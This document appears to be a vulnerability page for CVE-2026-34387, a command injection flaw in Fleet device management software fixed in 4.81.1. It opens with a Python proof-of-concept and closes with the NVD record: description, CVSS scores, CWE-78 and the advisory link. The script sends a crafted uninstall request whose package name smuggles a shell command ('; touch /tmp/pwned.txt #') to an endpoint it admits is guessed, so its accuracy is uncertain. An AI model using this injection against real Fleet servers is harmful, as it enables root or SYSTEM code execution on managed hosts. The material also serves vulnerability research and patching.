CVE-2026-34387

# Proof of Concept for CVE-2026-34387 # This script simulates sending a malicious uninstall request to Fleet. # The payload injects a shell command to create a file. import requests import json # Target Fleet server API endpoint (Hypothetical based on vulnerability description) TARGET_URL = "https://fleet-server.example.com/api/v1/fleet/software/uninstall" # Malicious package name containing command injection payload # Payload: `touch /tmp/pwned.txt` creates a file to prove execution malicious_package = "VulnerablePackage; touch /tmp/pwned.txt #" # Construct the payload # Note: CVSS PR:N indicates no authentication might be required, # or an attacker might trigger this via another mechanism. data = { "software_title": malicious_package, "hosts_ids": ["target_host_id_1"] } headers = { "Content-Type": "application/json", "Authorization": "Bearer <optional_token_if_auth_needed>" } try: print(f"Sending payload to {TARGET_URL}...") response = requests.post(TARGET_URL, headers=headers, data=json.dumps(data), verify=False) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the target host for /tmp/pwned.txt to verify RCE.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-34387", "sourceIdentifier": "[email protected]", "published": "2026-03-27T19:16:43.590", "lastModified": "2026-04-07T21:15:54.230", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fleet is open source device management software. Prior to 4.81.1, a command injection vulnerability in Fleet's software installer pipeline allows an attacker to achieve arbitrary code execution as root (macOS/Linux) or SYSTEM (Windows) on managed hosts when an uninstall is triggered for a crafted software package. Version 4.81.1 patches the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fleetdm:fleet:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.81.1", "matchCriteriaId": "09CFBED5-C6C2-4CCB-A48C-7E89E878E4F7"}]}]}], "references": [{"url": "https://github.com/fleetdm/fleet/security/advisories/GHSA-7rhw-5mpv-gp4h", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}